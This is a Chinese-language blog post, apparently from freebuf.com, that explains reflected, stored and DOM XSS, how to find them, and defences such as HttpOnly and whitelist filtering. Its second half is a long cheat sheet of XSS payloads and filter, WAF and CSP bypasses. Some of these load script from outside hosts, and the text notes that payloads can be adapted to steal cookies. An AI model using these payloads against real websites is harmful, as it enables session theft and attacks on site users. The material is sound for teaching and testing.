一、简介:
介绍关于自己对XSS的理解和一些网络文章的整理,随意看看,不要较真,交流为主,大佬绕过
免责声明:此文章仅供交流学习,禁止对网站进行测试,否则后果自负
二、理解XSS
-
简述
-
XSS(Cross-site Scripting)即跨站脚本攻击,XSS是web应用程序的安全漏洞攻击,当恶意使用者在web注入恶意代码,构造成一段带有恶意代码的链接,将恶意代码发送到普通用户,普通用户浏览存在恶意代码的网页时,即造成了一次XSS攻击
-
-
分类
-
反射型XSS
- 介绍
-
反射型XSS也叫非持久型XSS,当客户发出请求时,XSS代码出现在URL中,作为参数提交到服务器端,服务端解析后响应,没有对传输参数中的XSS代码进行过滤,直接返回给客户端,客户端浏览器解析并执行带有XSS代码的网页。这个过程就像一次反射,所以称为反射型XSS
-
- 例子
-
-
http://www.foo.com/xss/xss.php的代码为 <?php echo $_GET[‘xss’]?>
-
制造XSS连接:http://www.foo.com/xss/xss.php?xss=<script>alert(1)</script>
-
当用户访问XSS连接时,会携带XSS代码,提交到php的xss参数中,php代码为直接输出XSS参数,没有任何过滤,返回到客户端浏览器,然后客户端就会输出一个alert(1)的弹窗
-
当(1)修改为恶意代码的时候,例如获取cookie,document.cookie,即可通过构造恶意代码获取自己想要的内容,跨站脚本重要的点也在这里,跨站脚本的重点是脚本。
-
-
- 介绍
-
存储型XSS
-
存储型XSS和反射型XSS的差别在于:提交的XSS代码会存储在服务端(包括:数据库、内存、文件系统等),下次请求目标页面时不用在提交XSS代码。最常用的例子是在留言板,提交一条XSS代码到留言板上,留言板将XSS代码存储到数据库,当用户访问查看留言的时候,留言的内容则会在数据库查询出来并显示,浏览器发现有XSS代码,就当做正常的HTML与JS解析执行,于是就发生了XSS攻击
-
-
DOM型XSS
-
我觉得DOM型XSS是最不好理解,看过很多资料也都没说出和反射型XSS的区别,唯一的区别就是,DOM XSS的XSS代码不需要服务器响应,出发XSS考的就是浏览器端的DOM解析,可以认为完全在客户端发生的XSS
- DOM介绍
-
HTML的标签都是节点,而这些节点组成了DOM的整体结构—节点树。
DOM的规定如下:整个文档是一个文档节点;每个HTML标签是一个元素节点;包含在HTML元素中的文本是文本节点;每一个HTML属性是一个属性节点;注释是注释节点;节点与节点之间都有等级关系。
通过HTML DOM,树种所有的节点均可通过JavaScript代码进行访问。所有HTML元素(节点)均可被修改,也可以创建或删除节点。在网站页面中有许多元素,当页面到达浏览器时,浏览器会为页面创建一个顶级的Document object文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象。每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑,从而修改页面的元素。客户端的脚本程序可以通过DOM动态修改页面内容,从客户端获取DOM中的数据并在本地执行。由于DOM是在客户端修改节点的,所以基于DOM型XSS漏洞不需要与服务器交互。
- 常用语句
-
document对象: document是一个文档对象,代表给定浏览器窗口中的HTML文档。使用document对象可以对HTML文档进行检查、修改或添加内容,并处理该文档的内部事件。
-
windows对象: windows是一个窗口对象,表示浏览器中打开的窗口。
-
element对象: element对象表示html元素。element对象可以拥有类型为元素节点、文本节点、注释节点的子节点。
-
attribute对象: attr对象表示html属性。 NameNodeMap对象百世元素属性节点的无序集he。
-
getElementById():返回带有指定ID的元素。
-
getElementByTagName():返回包含带有指定标签名称的所有元素的节点列表。
-
getElementByClassName():返回包含带有指定类名的所有元素的节点列表。
-
appendChild():把新的子节点添加到指定节点。
-
removeChild():删除子节点。
-
replaceChild():替换子节点。
-
insertBefore():在指定的子节点前面插入新的子节点。
-
createAttribute():创建属性节点。
-
createElement():创建元素节点。
-
createTextNode():创建文本节点。
-
getAttribute():返回指定的属性值。
-
setAttribute():把指定属性设置或修改为指定的值。
-
-
-
-
-
危害
-
挂马
- 细节等待补充
-
盗取用户Cookie
-
Dos客户端浏览器
-
钓鱼攻击
-
编写针对性的XSS病毒,删除目标文章、恶意串改数据、嫁祸、”借刀杀人“
-
劫持用户Web行为
-
蠕虫
-
-
挖掘
-
XSS如何挖掘,在哪里挖掘,在哪里出现,我就讲我知道的,知识面浅,大佬绕过
- 出现在哪
- XSS在很多地方都可以测试,比如搜索框、URL参数、Post传递的参数、留言板、文章发布功能、文件上传的名称处、数据包的cookie处、url无参数处、表单的提交框处
- 如何挖掘
-
首先在测试的位置输入一段特殊的字符如1111111这类的容易查看的字符。
-
按F12查看刚刚输入1111111所存在的位置,这一步的目的是查看闭合所需要的字符,如”><‘等
-
输入特殊敏感字符和标签字母等<script>/ alert(1) onerror = <img> ” ‘ 查看过滤情况,探测是否有被转码等问题
-
闭合标签,并通过事件属性,或者另生成一个标签,来构造XSS语句,重要点在闭合,只要能闭合,那么就成功一大大大半了
-
构造XSS语句
-
-
-
防御
-
HttpOnly (当服务端将返回过来的cookie的属性上加上httponly时候,javascript就无法获取cookie了)
一个Cookie的使用过程如下:
Step1:浏览器向服务器发起请求,这时没有Cookie。
Step2:服务器返回时发送Set-Cookie头,向客户端浏览器写入Cookie。
Step3:在该Cookie到期前,浏览器访问该域下的所有页面,都将发送该Cookie。
HTTPOnly是在Set-Cookie时被标记的。服务器可能会设置多个Cookie(多个key-value对),而HttpOnly可以有选择性地加在任何一个Cookie值上。在某些时候,应用可能需要JavaScript访问某几项Cookie,这种Cookie可以不设置HttpOnly标记;而仅把HttpOnly标记给用于认证的关键Cookie。
-
对输入的特殊字符检查
-
XSS的漏洞存在主要原因是因为没有对输入的XSS敏感代码进行转换或者过滤,那么只要对XSS敏感代码进行过滤,转换,也就不存在XSS了
-
可以通过后端对输入的特殊字符如<>'”script alert() on =等敏感字符进行过滤或者转义
-
其实可以在转义上在转义,进行双层转义,三层转义,这样就很难判断出过滤规则了
-
-
输出检查
- 输入的时候可能没有过滤完全,那么在输出的地方在过滤一道
- 编码
- 将><“‘/等字符进行实体编码
-
有些时候,网站需要允许用户提交一些自定义的HTML代码,称之为”富文本“。比如一个用户在论坛里发帖,帖子的内容里要有图片、视频、表格等,这些”富文本“的效果都需要通过HTML代码来实现。
如何区分安全的”富文本“和有攻击性的XSS呢?
在处理富文本时,还是要回到”输入检查“的思路上来。”输入检查“的主要问题是,在检查时还不知道变量的输出语境。但用户提交的”富文本“数据,其语义是完整的HTML代码,在输出时也不会拼凑到某个标签的属性中。因此可以特殊情况特殊处理。
HTML是一种结构化的语言,比较好分析。通过htmlparser可以解析出HTML代码的标签、标签属性和事件。
在过滤富文本时,”事件”应该被严格禁止,因为“富文本”的展示需求里不应该包括“事件”这种动态效果。而一些危险的标签,比如<iframe>、<script>、<base>、<form>等,也是应该严格禁止的。在标签的选择上,应该使用白名单,避免使用黑名单。比如,只允许<a>、<img>、<div>等比较“安全”的标签存在。“白名单原则”不仅仅用于标签的选择,同样应该用于属性与事件的选择。
在富文本过滤中,处理CSS也是一件麻烦的事情。如果允许用户自定义CSS、style,则也可能导致XSS攻击。因此尽可能地禁止用户自定义CSS与style。如果一定要允许用户自定义样式,则只能像过滤“富文本”一样过滤“CSS”。这需要一个CSS Parser对样式进行智能分析,检查其中是否含危险代码。
有一些比较成熟的开源项目,实现了对富文本的XSS检查。Anti-Samy 是OWASP上的一个开源项目,也是目前最好的XSS Filter。最早它是基于Java的,现在已经扩展到了.Net等语言。在PHP中,可以使用另一个广受好评的开源项目:HTMLPurify。
-
-
标签备忘
-
常用标签
-
XSS触发语句备忘
一、标准语句
<script>alert(/XSS/)</script>
二、尝试大小写
<sCript>alert(1)</scRipt>
三、使用<img>标签
1、windows事件
<img src=”x” onerror=alert(1)>
<img src=”1″ onerror=eval(“alert(‘xss’)”)>
//图片加载错误时触发
2、鼠标事件
<img src=1 onmouseover=”alert(1)”>
//鼠标指针移动到元素时触发
<img src=1 onmouseout=”alert(1)”>
//鼠标指针移出时触发
四、使用<a>标签
1、使用href属性
<a href=”https://www.qq.com”>qq</a>
<a href=javascript:alert(‘xss’)>test</a>
<a href=”javascript:a” onmouseover=”alert(/xss/)”>aa</a>
<a href=”” onclick=alert(‘xss’)>a</a>
<a href=”” onclick=eval(alert(‘xss’))>aa</a>
<a href=kycg.asp?ttt=1000 onmouseover=prompt(‘xss’) y=2016>aa</a>
五、使用<input>标签
<input name=”name” value=””>
<input value=”” onclick=alert(‘xss’) type=”text”>
<input name=”name” value=”” onmouseover=prompt(‘xss’) bad=””>
<input name=”name” value=””><script>alert(‘xss’)</script>
<input type=”text” onkeydown=”alert(1)”>
//用户按下按键时触发
<input type=”text” onkeypress=”alert(1)”>
//用户按下按键时触发
<input type=”text” onkeyup=”alert(1)”>
//用户松开按键时触发
六、使用<from>标签
<form action=javascript:alert(‘xss’) method=”get”><form action=javascript:alert(‘xss’)>
<form method=post action=aa.asp? onmouseover=prompt(‘xss’)><form method=post action=aa.asp? onmouseover=alert(‘xss’)><form action=1 onmouseover=alert(‘xss)>
<!–原code–><form method=post action=”data:text/html;base64,<script>alert(‘xss’)</script>”><!–base64编码–><form method=post action=”data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=”>
七、 使用<iframe>标签
<iframe src=javascript:alert(‘xss’)></iframe>
<iframe src=”data:text/html,<script>alert(‘xss’)</script>”></iframe> <!–原code–><iframe src=”data:text/html;base64,<script>alert(‘xss’)</script>”> <!–base64编码–><iframe src=”data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=”> <iframe src=”aaa” onmouseover=alert(‘xss’) /><iframe> <iframe src=”javascript:prompt(`xss`)”></iframe>
八、 使用<svg>标签
<svg onload=alert(1)>
九、 使用<body>标签
<body onload=”alert(1)”>
//加载时触发
十、 使用<button>标签
<button onclick=”alert(1)”>text</button>
//元素上点击鼠标时触发
<p onmousedown=”alert(1)”>text</p>
//元素上按下鼠标时触发
<p onmouseup=”alert(1)”>text</p>
//在元素上释放鼠标时触发
十一、 使用<p>标签
<p onmousedown=”alert(1)”>text</p>
//元素上按下鼠标时触发
<p onmouseup=”alert(1)”>text</p>
//在元素上释放鼠标时触发
十二、XSS编码绕过
1、html实体编码(10进制与16进制):
如把尖括号编码[ < ] —–> html十进制: < html十六进制:<
2、javascript的八进制跟十六进制:
如把尖括号编码[ < ] —–> js八进制:\74 js十六进制:\x3c
三个八进制数字,如果数字不够,在前面补零,如a的编码为\141
两个十六进制数字,如果数字不够,在前面补零,如a的编码为\x61
四个十六进制数字,如果数字不够,在前面补零,如a的编码为\u0061
对于一些控制字符,使用特殊的C类型的转义风格,如\n和\r
3、url编码:
如把尖括号编码[ < ] —–> url: %22
4、base64编码:
如把尖括号编码[ < ] —–> base64: Ig==
5、jsunicode编码:
如把尖括号编码[ < ] —–>jsunicode:\u003c
6、String.fromCharCode编码
如alert的编码为String.fromCharCode(97,108,101,114,116)
-
-
-
XSS一些绕过
-
大小写绕过
<sCrIpt>alert(1)</ScRipt>
绕过标签黑名单
<script x>
<script x>alert(‘XSS’)<script y>
用代码评估绕过单词黑名单
eval(‘ale’+’rt(0)’);
Function(“ale”+”rt(1)”)();
new Function`al\ert\`6\“;
setTimeout(‘ale’+’rt(2)’);
setInterval(‘ale’+’rt(10)’);
Set.constructor(‘ale’+’rt(13)’)();
Set.constructor`al\x65rt\x2814\x29“`;
不完整的HTML标签绕过
可用于IE/Firefox/Chrome/Safari
<img src=’1′ onerror=’alert(0)’ <
绕过字符串的引号
String.fromCharCode(88,83,83)
绕过Script标签的引号
http://localhost/bla.php?test=</script><script>alert(1)</script>
<html>
<script>
<?php echo ‘foo=”text ‘.$_GET[‘test’].'”;’;`?>
</script>
</html>
在mousedown事件中绕过引号
你可以使用 ‘ 在mousedown实践中绕过单引号
<a href=”” onmousedown=”var name = ”;alert(1)//’; alert(‘smthg’)”>Link</a>
绕过点(.)的限制
<script>window[‘alert’](document[‘domain’])</script>
绕过字符串的括号
alert`1`
setTimeout`alert\u0028document.domain\u0029`;
绕过括号和分号
// 来自 @garethheyes
<script>onerror=alert;throw 1337</script>
<script>{onerror=alert}throw 1337</script>
<script>throw onerror=alert,’some string’,123,’haha'</script>
// 来自 @terjanq
<script>throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337]+a[13]</script>
// 来自 @cgvwzq
<script>TypeError.prototype.name =’=/’,0[onerror=eval][‘/-alert(1)//’]</script>
绕过 onxxxx= 黑名单
object onafterscriptexecute=confirm(0)>
<object onbeforescriptexecute=confirm(0)>
// 绕过 onxxx= 过滤通过空字节/垂直标签,filter with a null byte/vertical tab
<img src=’1′ onerror\x00=alert(0) />
<img src=’1′ onerror\x0b=alert(0) />
// Bypass onxxx= filter with a ‘/’
<img src=’1′ onerror/=alert(0) />
绕过空格过滤
//使用 / 绕过空格过滤
<img/src=’1’/onerror=alert(0)>
//使用 0x0c/^L 绕过空格过滤
<svgonload=alert(1)>
$ echo “<svg^Lonload^L=^Lalert(1)^L>” | xxd
00000000: 3c73 7667 0c6f 6e6c 6f61 640c 3d0c 616c <svg.onload.=.al
00000010: 6572 7428 3129 0c3e 0a ert(1).>.
绕过电子邮件过滤
“><svg/onload=confirm(1)>”@x.y
绕过文档黑名单
<div id = “x”></div><script>alert(x.parentNode.parentNode.parentNode.location)</script>
在字符串中使用javascript绕过
<script>
foo=”text </script><script>alert(1)</script>”;
</script>
使用其他方式绕过重定向限制
location=”http://google.com”
document.location = “http://google.com“
document.location.href=”http://google.com”
window.location.assign(“http://google.com”)
window[‘location’][‘href’]=”http://google.com”
使用其他方式执行alert
来自 brutelogic tweet@
window[‘alert’](0)
parent[‘alert’](1)
self[‘alert’](2)
top[‘alert’](3)
this[‘alert’](4)
frames[‘alert’](5)
content[‘alert’](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
来自 quanyang tweet@
prompt`${document.domain}`
document.location=’java\tscript:alert(1)’
document.location=’java\rscript:alert(1)’
document.location=’java\tscript:alert(1)’
来自 404death tweet@
eval(‘ale’+’rt(0)’);
Function(“ale”+”rt(1)”)();
new Function`al\ert\`6\“;
constructor.constructor(“aler”+”t(3)”)();
[].filter.constructor(‘ale’+’rt(4)’)();
top[“al”+”ert”](5);
top[8680439..toString(30)](7);
top[/al/.source+/ert/.source](8);
top[‘al\x65rt’](9);
open(‘java’+’script:ale’+’rt(11)’);
location=’javascript:ale’+’rt(12)’;
setTimeout`alert\u0028document.domain\u0029`;
setTimeout(‘ale’+’rt(2)’);
setInterval(‘ale’+’rt(10)’);
Set.constructor(‘ale’+’rt(13)’)();
Set.constructor`al\x65rt\x2814\x29;
使用其他方式出发alert
var i = document.createElement(“iframe”);
i.onload = function(){
i.contentWindow.alert(1);
}
document.appendChild(i);
//绕过安全机制
XSSObject.proxy = function (obj, name, report_function_name, exec_original) {
var proxy = obj[name];
obj[name] = function () {
if (exec_original) {
return proxy.apply(this, arguments);
}
};
XSSObject.lockdown(obj, name);
};
XSSObject.proxy(window, ‘alert’, ‘window.alert’, false);
不使用任何东西绕过 “>”
不必去闭合标签
<svg onload=alert(1)//
使用其他字符绕过 “;”
‘te’ * alert(‘*’) * ‘xt’;
‘te’ / alert(‘/’) / ‘xt’;
‘te’ % alert(‘%’) % ‘xt’;
‘te’ – alert(‘-‘) – ‘xt’;
‘te’ + alert(‘+’) + ‘xt’;
‘te’ ^ alert(‘^’) ^ ‘xt’;
‘te’ > alert(‘>’) > ‘xt’;
‘te’ < alert(‘<‘) < ‘xt’;
‘te’ == alert(‘==’) == ‘xt’;
‘te’ & alert(‘&’) & ‘xt’;
‘te’ , alert(‘,’) , ‘xt’;
‘te’ | alert(‘|’) | ‘xt’;
‘te’ ? alert(‘ifelsesh’) : ‘xt’;
‘te’ in alert(‘in’) in ‘xt’;
‘te’ instanceof alert(‘instanceof’) instanceof ‘xt’;
使用HTML编码绕过
%26%2397;lert(1)
使用Katana绕过
katakana:https://github.com/aemkei/katakana.js
javascript:([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)’)()
使用Lontara绕过
ᨆ=”,ᨊ=!ᨆ+ᨆ,ᨎ=!ᨊ+ᨆ,ᨂ=ᨆ+{},ᨇ=ᨊ[ᨆ++],ᨋ=ᨊ[ᨏ=ᨆ],ᨃ=++ᨏ+ᨆ,ᨅ=ᨂ[ᨏ+ᨃ],ᨊ[ᨅ+=ᨂ[ᨆ]+(ᨊ.ᨎ+ᨂ)[ᨆ]+ᨎ[ᨃ]+ᨇ+ᨋ+ᨊ[ᨏ]+ᨅ+ᨇ+ᨂ[ᨆ]+ᨋ][ᨅ](ᨎ[ᨆ]+ᨎ[ᨏ]+ᨊ[ᨃ]+ᨋ+ᨇ+”(ᨆ)”)()
更多字母表,可关注:http://aem1k.com/aurebesh.js/#
使用ECMAScript6绕过
<script>alert`1`</script>
使用八进制编码绕过
javascript:’\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76′
使用Unicode编码绕过
Unicode character U+FF1C FULLWIDTH LESSTHAN SIGN (encoded as %EF%BC%9C) was
transformed into U+003C LESSTHAN SIGN (<)
Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was
transformed into U+0022 QUOTATION MARK (“)
Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was
transformed into U+0027 APOSTROPHE (‘)
Unicode character U+FF1C FULLWIDTH LESSTHAN SIGN (encoded as %EF%BC%9C) was
transformed into U+003C LESSTHAN SIGN (<)
Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was
transformed into U+0022 QUOTATION MARK (“)
Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was
transformed into U+0027 APOSTROPHE (‘)
E.g : http://www.example.net/something%CA%BA%EF%BC%9E%EF%BC%9Csvg%20onload=alert%28/XSS/%29%EF%BC%9E/
%EF%BC%9E becomes >
%EF%BC%9C becomes <
使用Unicode转换为大写绕过
İ (%c4%b0).toLowerCase() => i
ı (%c4%b1).toUpperCase() => I
ſ (%c5%bf) .toUpperCase() => S
K (%E2%84%AA).toLowerCase() => k
<ſvg onload=… > become <SVG ONLOAD=…>
<ıframe id=x onload=>.toUpperCase() become <IFRAME ID=X ONLOAD=>
使用UTF-7编码绕过
+ADw-img src=+ACI-1+ACI- onerror=+ACI-alert(1)+ACI- /+AD4-
使用UTF-8编码绕过
< = %C0%BC = %E0%80%BC = %F0%80%80%BC
> = %C0%BE = %E0%80%BE = %F0%80%80%BE
‘ = %C0%A7 = %E0%80%A7 = %F0%80%80%A7
” = %C0%A2 = %E0%80%A2 = %F0%80%80%A2
” = %CA%BA
‘ = %CA%B9
使用UTF-16be编码绕过
%00%3C%00s%00v%00g%00/%00o%00n%00l%00o%00a%00d%00=%00a%00l%00e%00r%00t%00(%00)%00%3E%00
\x00<\x00s\x00v\x00g\x00/\x00o\x00n\x00l\x00o\x00a\x00d\x00=\x00a\x00l\x00e\x00r\x00t\x00(\x00)\x00>
使用UTF-32编码绕过
%00%00%00%00%00%3C%00%00%00s%00%00%00v%00%00%00g%00%00%00/%00%00%00o%00%00%00n%00%00%00l%00%00%00o%00%00%00a%00%00%00d%00%00%00=%00%00%00a%00%00%00l%00%00%00e%00%00%00r%00%00%00t%00%00%00(%00%00%00)%00%00%00%3E
使用BOM(浏览器对象模型)绕过
字节顺序标记(页面必须以BOM字符开始)。BOM字符允许您覆盖页面的字符集
UTF-16编码的BOM字符:
大端字节 : 0xFE 0xFF
小端字节 : 0xFF 0xFE
XSS : %fe%ff%00%3C%00s%00v%00g%00/%00o%00n%00l%00o%00a%00d%00=%00a%00l%00e%00r%00t%00(%00)%00%3E
UTF-32编码的BOM字符:
大端字节 : 0x00 0x00 0xFE 0xFF
小端字节 : 0xFF 0xFE 0x00 0x00
XSS : %00%00%fe%ff%00%00%00%3C%00%00%00s%00%00%00v%00%00%00g%00%00%00/%00%00%00o%00%00%00n%00%00%00l%00%00%00o%00%00%00a%00%00%00d%00%00%00=%00%00%00a%00%00%00l%00%00%00e%00%00%00r%00%00%00t%00%00%00(%00%00%00)%00%00%00%3E
使用奇怪的编码绕过
<script>\u0061\u006C\u0065\u0072\u0074(1)</script>
<img src=”1″ onerror=”alert(1)” />
<iframe src=”javascript:%61%6c%65%72%74%28%31%29″></iframe>
<script>$=~[];$={___:++$,$$$$:(![]+””)[$],__$:++$,$_$_:(![]+””)[$],_$_:++$,$_$$:({}+””)[$],$$_$:($[$]+””)[$],_$$:++$,$$$_:(!””+””)[$],$__:++$,$_$:++$,$$__:({}+””)[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+””)[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+””)[$.__$])+((!$)+””)[$._$$]+($.__=$.$_[$.$$_])+($.$=(!””+””)[$.__$])+($._=(!””+””)[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!””+””)[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+”\””+$.$_$_+(![]+””)[$._$_]+$.$$$_+”\\”+$.__$+$.$$_+$._$_+$.__+”(“+$.___+”)”+”\””)())();</script>
<script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script>
CSP(内容安全策略)绕过
使用Google的JSONP绕过CSP
//google.com/complete/search?client=chrome&jsonp=alert(1);
<script/src=//google.com/complete/search?client=chrome%26jsonp=alert(1);>”
更多可用的JSONP端点,查看末尾文件中的 /XSS模糊测试payload/jsonp_endpoint.txt
script=document.createElement(‘script’);
script.src=’//bo0om.ru/csp.js’;
window.frames[0].document.head.appendChild(script);
d=document;f=d.createElement(“iframe”);f.src=d.querySelector(‘link[href*=”.css”]’).href;d.body.append(f);s=d.createElement(“script”);s.src=”https://yoursubdomain.xss.ht”;setTimeout(function(){f.contentWindow.document.head.append(s);},1000)
<object data=”data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==”></object>
常见的WAF绕过
Cloudflare XSS绕过
//来自 Bohdan Korzhynskyi
<svg onload=prompt%26%230000000040document.domain)>
<svg onload=prompt%26%23×000000028;document.domain)>
xss'”><iframe srcdoc=’%26lt;script>;prompt`${document.domain}`%26lt;/script>’>
//来自RakeshMane10
<svg/onload=alert()//
<a href=”j	a	v	asc
ri	pt:(a	l	e	r	t	(document.domain))”>X</a>
Chrome审计
</script><svg><script>alert(1)-%26apos%3B
anythinglr00</script><script>alert(document.domain)</script>uxldz
anythinglr00%3c%2fscript%3e%3cscript%3ealert(document.domain)%3c%2fscript%3euxldz
<object data=’data:text/html;;;;;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==’></object>
<svg onload\r\n=$.globalEval(“al”+”ert()”);>
?”></script><base%20c%3D=href%3Dhttps:\mysite>
<dETAILS%0aopen%0aonToGgle%0a=%0aa=prompt,a() x>
<a href=javascript:alert(1)>
-
-
总结
-
XSS是一门需要花时间来学习的技术,需要深入得学会javascript, html, dom, css, 等语言,培养兴趣最重要,兴趣有了,啥都不难
-
-
文章贡献
- Web前端黑客技术揭秘书籍
- HACK学习呀公众号
- 程序员阿甘公众号
- https://blog.csdn.net/weixin_40270125/article/details/89415990 XSS的防御
来源:freebuf.com 2020-07-23 22:17:42 by: 让开尼姑是我的
请登录后发表评论
注册